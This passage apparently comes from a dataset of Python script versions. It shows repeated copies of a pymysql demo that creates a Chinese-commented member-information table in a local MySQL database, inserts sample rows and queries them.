DEFAULT NULL COMMENT '税务等级证书ID',\n\t\t\t\tTAXREGISTER_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '税务登记号',\n\t\t\t\tTAXREGISTER_DATE DATE NULL DEFAULT NULL COMMENT '税务登记失效时间',\n\t\t\t\tORGREG_ID INT(20) NULL DEFAULT NULL COMMENT '组织机构代码证ID',\n\t\t\t\tORGREG_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '组织机构代码',\n\t\t\t\tORGREG_DATE DATE NULL DEFAULT NULL COMMENT '组织机构失效时间',\n\t\t\t\tBANK_ID INT(20) NULL DEFAULT NULL COMMENT '银行开户许可证ID',\n\t\t\t\tBANK_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '开户银行类别',\n\t\t\t\tBANK_DEPOSIT VARCHAR(128) NULL DEFAULT NULL COMMENT '开户银行',\n\t\t\t\tBANK_DEPOSIT_CODE VARCHAR(32) NULL DEFAULT NULL COMMENT '开户银行编码',\n\t\t\t\tBANK_ACCOUNTNO VARCHAR(32) NULL DEFAULT NULL COMMENT '银行账号',\n\t\t\t\tBANK_HOUSEHOULD VARCHAR(32) NULL DEFAULT NULL COMMENT '银行户主',\n\t\t\t\tINVOICE_TITLE VARCHAR(128) NULL DEFAULT NULL COMMENT '开票台头',\n\t\t\t\tINVOICE_ADDRESS VARCHAR(20) NULL DEFAULT NULL COMMENT '开票地址',\n\t\t\t\tINVOICE_ADDRESS_DT VARCHAR(128) NULL DEFAULT NULL COMMENT '开票详细地址',\n\t\t\t\tAPPLY_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '申请审核机构',\n\t\t\t\tBUYER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '买家标识',\n\t\t\t\tSELLER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家标识',\n\t\t\t\tTHIRD_PART_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '第三方标识',\n\t\t\t\tMAIN_USER_ID INT(20) NULL DEFAULT NULL COMMENT '主账号ID',\n\t\t\t\tMDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM主数据CODE',\n\t\t\t\tERP_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'ERP会员CODE',\n\t\t\t\tREG_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '注册类型',\n\t\t\t\tSTATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '会员状态',\n\t\t\t\tAUDITOR VARCHAR(128) NULL DEFAULT NULL COMMENT '审核人',\n\t\t\t\tAUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT '审核时间',\n\t\t\t\tAUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT '审核结果',\n\t\t\t\tAUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT '审核意见',\n\t\t\t\tMDM_AUDITOR VARCHAR(32) NULL DEFAULT NULL COMMENT 'MDM审核人',\n\t\t\t\tMDM_AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT 'MDM审核时间',\n\t\t\t\tMDM_AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT 'MDM审核意见',\n\t\t\t\tMDM_AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM审核结果',\n\t\t\t\tMEMBER_CHG_ID INT(20) NULL DEFAULT NULL COMMENT '变更ID',\n\t\t\t\tCHANGE_STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '变更状态',\n\t\t\t\tALIVE_FLAG VARCHAR(1) NOT NULL COMMENT '当前有效状态',\n\t\t\t\tLANG_VER VARCHAR(10) NULL DEFAULT NULL COMMENT '语言类型',\n\t\t\t\tCREATE_USER INT(20) NOT NULL COMMENT '创建者',\n\t\t\t\tCREATE_DATE DATETIME NOT NULL COMMENT '创建时间',\n\t\t\t\tUPDATE_USER INT(20) NULL DEFAULT NULL COMMENT '修改者',\n\t\t\t\tUPDATE_DATE DATETIME NULL DEFAULT NULL COMMENT '修改时间',\n\t\t\t\tDELETE_USER INT(20) NULL DEFAULT NULL COMMENT '删除者',\n\t\t\t\tDELETE_DATE DATETIME NULL DEFAULT NULL COMMENT '删除时间',\n\t\t\t\tBUYER_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '买家类型(01:个人买家;02:公司买家)',\n\t\t\t\tAUDIT_OPTION_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '审核身份标识(01:平台;02:卖家)',\n\t\t\t\tAUDIT_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '审核卖家ID(当审核身份标识为卖家审核时,审核的卖家ID)',\n\t\t\t\tSELLER_MDM VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统',\n\t\t\t\tSELLER_SAP VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家SAP系统',\n\t\t\t\tSELLER_MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统数据CODE',\n\t\t\t\tIS_PLAT_BLACK VARCHAR(2) NULL DEFAULT NULL COMMENT '黑名单状态(41:是;0:否)',\n\t\t\t\tINVOCIE_ADDRESS_LEFT3 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-省',\n\t\t\t\tINVOCIE_ADDRESS_RIGHT5 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-市',\n\t\t\t\tPRIMARY KEY (MEMBER_ID)\n\t\t\t)\n\t\t\tCOMMENT='会员信息表'\n\t\t\tCOLLATE='utf8_general_ci'\n\t\t\tENGINE=InnoDB\n\t\"\"\"\n cur1.execute(sql)\n print('createTabl', cur1)\n\n\ndef selectTable(db):\n cur1 = db.cursor()\n cur1.execute(\n 'select member_name,MEMBER_CODE,member_id from python_demo limit 10')\n data = cur1.fetchall()\n for index, item in enumerate(data):\n print(index, sep=' ', end=' ')\n for index2, item2 in enumerate(item):\n print(item2, sep=' ', end=' ')\n print('')\n\n\ndef insertTable(db):\n cur1 = db.cursor()\n cur1.execute(\n \"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\"\n )\n\n\ndb = pymysql.connect(host='127.0.0.1', user='pu3147', password='1qaz@WSX',\n database='demo', port=3306, charset='UTF8')\ndropTable(db)\ncreateTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ntesteSelect(db)\nselectTable(db)\ndb.close()\n", "<import token>\n\n\ndef testeSelect(db):\n cur1 = db.cursor()\n cur1.execute('SELECT VERSION()')\n data = cur1.fetchone()\n print(dir(data))\n print('cur1 : %s ' % cur1)\n print('Database version : %s ' % data)\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\ndef createTable(db):\n cur1 = db.cursor()\n sql = \"\"\"\n\t\t\tCREATE TABLE IF NOT EXISTS python_demo (\n\t\t\t\tMEMBER_ID INT(20) NOT NULL AUTO_INCREMENT COMMENT '会员ID',\n\t\t\t\tMEMBER_CODE VARCHAR(20) NOT NULL COMMENT '会员代码',\n\t\t\t\tMEMBER_NAME VARCHAR(128) NOT NULL COMMENT '公司中文名称',\n\t\t\t\tMEMBER_NAME_SHORT VARCHAR(128) NULL DEFAULT NULL COMMENT '公司简称',\n\t\t\t\tCOMPANY_NAME_EN VARCHAR(128) NULL DEFAULT NULL COMMENT '公司英文名称',\n\t\t\t\tREG_PLACE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tREG_ADDRESS VARCHAR(128) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tENT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司性质',\n\t\t\t\tREGCAPITAL DOUBLE(12,2) NULL DEFAULT NULL COMMENT '注册资本',\n\t\t\t\tREG_CURRENCY VARCHAR(20) NULL DEFAULT NULL COMMENT '注册资本币种',\n\t\t\t\tJUDICIAL_PERSON VARCHAR(32) NULL DEFAULT NULL COMMENT '法人名称',\n\t\t\t\tBUSINESS_SCOPE VARCHAR(128) NULL DEFAULT NULL COMMENT '公司经营范围',\n\t\t\t\tCOM_TEL VARCHAR(20) NULL DEFAULT NULL COMMENT '公司电话',\n\t\t\t\tCOM_FAX VARCHAR(64) NULL DEFAULT NULL COMMENT '公司传真',\n\t\t\t\tPERSON_INCHARGE VARCHAR(64) NULL DEFAULT NULL COMMENT '公司负责人',\n\t\t\t\tZIP_CODE VARCHAR(6) NULL DEFAULT NULL COMMENT '邮编',\n\t\t\t\tCON_NAME VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人姓名',\n\t\t\t\tCON_MOBILE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人手机',\n\t\t\t\tCON_EMAIL VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人邮箱',\n\t\t\t\tCON_FAX VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人传真',\n\t\t\t\tCON_CERT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件类型',\n\t\t\t\tCON_CERT_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件号',\n\t\t\t\tCON_CERT_DATE DATE NULL DEFAULT NULL COMMENT '联系人证件失效时间',\n\t\t\t\tCON_CER1_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证正面ID',\n\t\t\t\tCON_CER2_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证反面ID',\n\t\t\t\tTHERECER_INTGRATED VARCHAR(20) NULL DEFAULT NULL COMMENT '三证合一标志',\n\t\t\t\tBIZLIC_ID INT(20) NULL DEFAULT NULL COMMENT '营业执照ID',\n\t\t\t\tBIZLIC_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '营业执照代码',\n\t\t\t\tBIZLIC_DATE DATE NULL DEFAULT NULL COMMENT '营业执照失效时间',\n\t\t\t\tTAXREGISTER_ID INT(20) NULL DEFAULT NULL COMMENT '税务等级证书ID',\n\t\t\t\tTAXREGISTER_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '税务登记号',\n\t\t\t\tTAXREGISTER_DATE DATE NULL DEFAULT NULL COMMENT '税务登记失效时间',\n\t\t\t\tORGREG_ID INT(20) NULL DEFAULT NULL COMMENT '组织机构代码证ID',\n\t\t\t\tORGREG_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '组织机构代码',\n\t\t\t\tORGREG_DATE DATE NULL DEFAULT NULL COMMENT '组织机构失效时间',\n\t\t\t\tBANK_ID INT(20) NULL DEFAULT NULL COMMENT '银行开户许可证ID',\n\t\t\t\tBANK_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '开户银行类别',\n\t\t\t\tBANK_DEPOSIT VARCHAR(128) NULL DEFAULT NULL COMMENT '开户银行',\n\t\t\t\tBANK_DEPOSIT_CODE VARCHAR(32) NULL DEFAULT NULL COMMENT '开户银行编码',\n\t\t\t\tBANK_ACCOUNTNO VARCHAR(32) NULL DEFAULT NULL COMMENT '银行账号',\n\t\t\t\tBANK_HOUSEHOULD VARCHAR(32) NULL DEFAULT NULL COMMENT '银行户主',\n\t\t\t\tINVOICE_TITLE VARCHAR(128) NULL DEFAULT NULL COMMENT '开票台头',\n\t\t\t\tINVOICE_ADDRESS VARCHAR(20) NULL DEFAULT NULL COMMENT '开票地址',\n\t\t\t\tINVOICE_ADDRESS_DT VARCHAR(128) NULL DEFAULT NULL COMMENT '开票详细地址',\n\t\t\t\tAPPLY_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '申请审核机构',\n\t\t\t\tBUYER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '买家标识',\n\t\t\t\tSELLER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家标识',\n\t\t\t\tTHIRD_PART_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '第三方标识',\n\t\t\t\tMAIN_USER_ID INT(20) NULL DEFAULT NULL COMMENT '主账号ID',\n\t\t\t\tMDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM主数据CODE',\n\t\t\t\tERP_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'ERP会员CODE',\n\t\t\t\tREG_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '注册类型',\n\t\t\t\tSTATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '会员状态',\n\t\t\t\tAUDITOR VARCHAR(128) NULL DEFAULT NULL COMMENT '审核人',\n\t\t\t\tAUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT '审核时间',\n\t\t\t\tAUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT '审核结果',\n\t\t\t\tAUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT '审核意见',\n\t\t\t\tMDM_AUDITOR VARCHAR(32) NULL DEFAULT NULL COMMENT 'MDM审核人',\n\t\t\t\tMDM_AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT 'MDM审核时间',\n\t\t\t\tMDM_AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT 'MDM审核意见',\n\t\t\t\tMDM_AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM审核结果',\n\t\t\t\tMEMBER_CHG_ID INT(20) NULL DEFAULT NULL COMMENT '变更ID',\n\t\t\t\tCHANGE_STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '变更状态',\n\t\t\t\tALIVE_FLAG VARCHAR(1) NOT NULL COMMENT '当前有效状态',\n\t\t\t\tLANG_VER VARCHAR(10) NULL DEFAULT NULL COMMENT '语言类型',\n\t\t\t\tCREATE_USER INT(20) NOT NULL COMMENT '创建者',\n\t\t\t\tCREATE_DATE DATETIME NOT NULL COMMENT '创建时间',\n\t\t\t\tUPDATE_USER INT(20) NULL DEFAULT NULL COMMENT '修改者',\n\t\t\t\tUPDATE_DATE DATETIME NULL DEFAULT NULL COMMENT '修改时间',\n\t\t\t\tDELETE_USER INT(20) NULL DEFAULT NULL COMMENT '删除者',\n\t\t\t\tDELETE_DATE DATETIME NULL DEFAULT NULL COMMENT '删除时间',\n\t\t\t\tBUYER_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '买家类型(01:个人买家;02:公司买家)',\n\t\t\t\tAUDIT_OPTION_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '审核身份标识(01:平台;02:卖家)',\n\t\t\t\tAUDIT_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '审核卖家ID(当审核身份标识为卖家审核时,审核的卖家ID)',\n\t\t\t\tSELLER_MDM VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统',\n\t\t\t\tSELLER_SAP VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家SAP系统',\n\t\t\t\tSELLER_MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统数据CODE',\n\t\t\t\tIS_PLAT_BLACK VARCHAR(2) NULL DEFAULT NULL COMMENT '黑名单状态(41:是;0:否)',\n\t\t\t\tINVOCIE_ADDRESS_LEFT3 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-省',\n\t\t\t\tINVOCIE_ADDRESS_RIGHT5 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-市',\n\t\t\t\tPRIMARY KEY (MEMBER_ID)\n\t\t\t)\n\t\t\tCOMMENT='会员信息表'\n\t\t\tCOLLATE='utf8_general_ci'\n\t\t\tENGINE=InnoDB\n\t\"\"\"\n cur1.execute(sql)\n print('createTabl', cur1)\n\n\ndef selectTable(db):\n cur1 = db.cursor()\n cur1.execute(\n 'select member_name,MEMBER_CODE,member_id from python_demo limit 10')\n data = cur1.fetchall()\n for index, item in enumerate(data):\n print(index, sep=' ', end=' ')\n for index2, item2 in enumerate(item):\n print(item2, sep=' ', end=' ')\n print('')\n\n\ndef insertTable(db):\n cur1 = db.cursor()\n cur1.execute(\n \"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\"\n )\n\n\ndb = pymysql.connect(host='127.0.0.1', user='pu3147', password='1qaz@WSX',\n database='demo', port=3306, charset='UTF8')\ndropTable(db)\ncreateTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ntesteSelect(db)\nselectTable(db)\ndb.close()\n", "<import token>\n\n\ndef testeSelect(db):\n cur1 = db.cursor()\n cur1.execute('SELECT VERSION()')\n data = cur1.fetchone()\n print(dir(data))\n print('cur1 : %s ' % cur1)\n print('Database version : %s ' % data)\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\ndef createTable(db):\n cur1 = db.cursor()\n sql = \"\"\"\n\t\t\tCREATE TABLE IF NOT EXISTS python_demo (\n\t\t\t\tMEMBER_ID INT(20) NOT NULL AUTO_INCREMENT COMMENT '会员ID',\n\t\t\t\tMEMBER_CODE VARCHAR(20) NOT NULL COMMENT '会员代码',\n\t\t\t\tMEMBER_NAME VARCHAR(128) NOT NULL COMMENT '公司中文名称',\n\t\t\t\tMEMBER_NAME_SHORT VARCHAR(128) NULL DEFAULT NULL COMMENT '公司简称',\n\t\t\t\tCOMPANY_NAME_EN VARCHAR(128) NULL DEFAULT NULL COMMENT '公司英文名称',\n\t\t\t\tREG_PLACE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tREG_ADDRESS VARCHAR(128) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tENT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司性质',\n\t\t\t\tREGCAPITAL DOUBLE(12,2) NULL DEFAULT NULL COMMENT '注册资本',\n\t\t\t\tREG_CURRENCY VARCHAR(20) NULL DEFAULT NULL COMMENT '注册资本币种',\n\t\t\t\tJUDICIAL_PERSON VARCHAR(32) NULL DEFAULT NULL COMMENT '法人名称',\n\t\t\t\tBUSINESS_SCOPE VARCHAR(128) NULL DEFAULT NULL COMMENT '公司经营范围',\n\t\t\t\tCOM_TEL VARCHAR(20) NULL DEFAULT NULL COMMENT '公司电话',\n\t\t\t\tCOM_FAX VARCHAR(64) NULL DEFAULT NULL COMMENT '公司传真',\n\t\t\t\tPERSON_INCHARGE VARCHAR(64) NULL DEFAULT NULL COMMENT '公司负责人',\n\t\t\t\tZIP_CODE VARCHAR(6) NULL DEFAULT NULL COMMENT '邮编',\n\t\t\t\tCON_NAME VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人姓名',\n\t\t\t\tCON_MOBILE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人手机',\n\t\t\t\tCON_EMAIL VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人邮箱',\n\t\t\t\tCON_FAX VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人传真',\n\t\t\t\tCON_CERT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件类型',\n\t\t\t\tCON_CERT_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件号',\n\t\t\t\tCON_CERT_DATE DATE NULL DEFAULT NULL COMMENT '联系人证件失效时间',\n\t\t\t\tCON_CER1_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证正面ID',\n\t\t\t\tCON_CER2_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证反面ID',\n\t\t\t\tTHERECER_INTGRATED VARCHAR(20) NULL DEFAULT NULL COMMENT '三证合一标志',\n\t\t\t\tBIZLIC_ID INT(20) NULL DEFAULT NULL COMMENT '营业执照ID',\n\t\t\t\tBIZLIC_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '营业执照代码',\n\t\t\t\tBIZLIC_DATE DATE NULL DEFAULT NULL COMMENT '营业执照失效时间',\n\t\t\t\tTAXREGISTER_ID INT(20) NULL DEFAULT NULL COMMENT '税务等级证书ID',\n\t\t\t\tTAXREGISTER_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '税务登记号',\n\t\t\t\tTAXREGISTER_DATE DATE NULL DEFAULT NULL COMMENT '税务登记失效时间',\n\t\t\t\tORGREG_ID INT(20) NULL DEFAULT NULL COMMENT '组织机构代码证ID',\n\t\t\t\tORGREG_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '组织机构代码',\n\t\t\t\tORGREG_DATE DATE NULL DEFAULT NULL COMMENT '组织机构失效时间',\n\t\t\t\tBANK_ID INT(20) NULL DEFAULT NULL COMMENT '银行开户许可证ID',\n\t\t\t\tBANK_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '开户银行类别',\n\t\t\t\tBANK_DEPOSIT VARCHAR(128) NULL DEFAULT NULL COMMENT '开户银行',\n\t\t\t\tBANK_DEPOSIT_CODE VARCHAR(32) NULL DEFAULT NULL COMMENT '开户银行编码',\n\t\t\t\tBANK_ACCOUNTNO VARCHAR(32) NULL DEFAULT NULL COMMENT '银行账号',\n\t\t\t\tBANK_HOUSEHOULD VARCHAR(32) NULL DEFAULT NULL COMMENT '银行户主',\n\t\t\t\tINVOICE_TITLE VARCHAR(128) NULL DEFAULT NULL COMMENT '开票台头',\n\t\t\t\tINVOICE_ADDRESS VARCHAR(20) NULL DEFAULT NULL COMMENT '开票地址',\n\t\t\t\tINVOICE_ADDRESS_DT VARCHAR(128) NULL DEFAULT NULL COMMENT '开票详细地址',\n\t\t\t\tAPPLY_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '申请审核机构',\n\t\t\t\tBUYER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '买家标识',\n\t\t\t\tSELLER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家标识',\n\t\t\t\tTHIRD_PART_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '第三方标识',\n\t\t\t\tMAIN_USER_ID INT(20) NULL DEFAULT NULL COMMENT '主账号ID',\n\t\t\t\tMDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM主数据CODE',\n\t\t\t\tERP_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'ERP会员CODE',\n\t\t\t\tREG_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '注册类型',\n\t\t\t\tSTATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '会员状态',\n\t\t\t\tAUDITOR VARCHAR(128) NULL DEFAULT NULL COMMENT '审核人',\n\t\t\t\tAUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT '审核时间',\n\t\t\t\tAUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT '审核结果',\n\t\t\t\tAUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT '审核意见',\n\t\t\t\tMDM_AUDITOR VARCHAR(32) NULL DEFAULT NULL COMMENT 'MDM审核人',\n\t\t\t\tMDM_AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT 'MDM审核时间',\n\t\t\t\tMDM_AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT 'MDM审核意见',\n\t\t\t\tMDM_AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM审核结果',\n\t\t\t\tMEMBER_CHG_ID INT(20) NULL DEFAULT NULL COMMENT '变更ID',\n\t\t\t\tCHANGE_STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '变更状态',\n\t\t\t\tALIVE_FLAG VARCHAR(1) NOT NULL COMMENT '当前有效状态',\n\t\t\t\tLANG_VER VARCHAR(10) NULL DEFAULT NULL COMMENT '语言类型',\n\t\t\t\tCREATE_USER INT(20) NOT NULL COMMENT '创建者',\n\t\t\t\tCREATE_DATE DATETIME NOT NULL COMMENT '创建时间',\n\t\t\t\tUPDATE_USER INT(20) NULL DEFAULT NULL COMMENT '修改者',\n\t\t\t\tUPDATE_DATE DATETIME NULL DEFAULT NULL COMMENT '修改时间',\n\t\t\t\tDELETE_USER INT(20) NULL DEFAULT NULL COMMENT '删除者',\n\t\t\t\tDELETE_DATE DATETIME NULL DEFAULT NULL COMMENT '删除时间',\n\t\t\t\tBUYER_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '买家类型(01:个人买家;02:公司买家)',\n\t\t\t\tAUDIT_OPTION_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '审核身份标识(01:平台;02:卖家)',\n\t\t\t\tAUDIT_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '审核卖家ID(当审核身份标识为卖家审核时,审核的卖家ID)',\n\t\t\t\tSELLER_MDM VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统',\n\t\t\t\tSELLER_SAP VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家SAP系统',\n\t\t\t\tSELLER_MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统数据CODE',\n\t\t\t\tIS_PLAT_BLACK VARCHAR(2) NULL DEFAULT NULL COMMENT 